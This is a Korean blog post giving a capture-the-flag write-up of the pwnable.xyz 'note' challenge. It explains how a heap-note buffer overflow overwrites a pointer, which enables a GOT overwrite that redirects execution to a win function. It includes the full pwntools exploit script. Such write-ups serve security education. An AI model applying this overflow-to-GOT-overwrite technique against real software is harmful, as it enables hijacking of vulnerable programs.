본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / note

main

  1. note를 수정하고
  2. desc 수정
  3. exit 

 

 

edit_note

원하는 만큼 길이만큼 데이터를 쓸 수 있다

 

edit_desc

buf에 저장된 주소에 데이터를 쓸 수 있다

 

edit_note에서 bof가 터져서 buf를 덮을 수 있다

 

flag

edit_note로 buf를 원하는 함수의 got로 덮은 뒤 edit_desc로 got overwrite해서 win함수가 호출되도록해줬다

( 서버가 닫혀있다.... )

h4pum@ubuntu:~/wargame/pwnable_xyz/note_file$ cat exploit.py 
from pwn import *


#p = remote("svc.pwnable.xyz", 30016)
p = process("./note")

win = 0x40093C

def edit_note(length, data):
    p.recvuntil(b"> ")
    p.sendline(b"1")
    p.recvuntil(b"Note len? ")
    p.sendline(length)
    p.recvuntil(b"note: ")
    p.send(data)

def edit_desc(data):
    p.recvuntil(b"> ")
    p.sendline(b"2")
    p.recvuntil(b"desc: ")
    p.sendline(data)

payload = b"A" * 0x20
payload += p64(0x601238)

edit_note(b"48", payload)
edit_desc(p64(win))

p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / TLSv00  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10
pwnable.xyz / two_target  (0) 2022.05.07
pwnable.xyz / xor  (0) 2022.05.06
pwnable.xyz/GrownUp  (0) 2022.02.14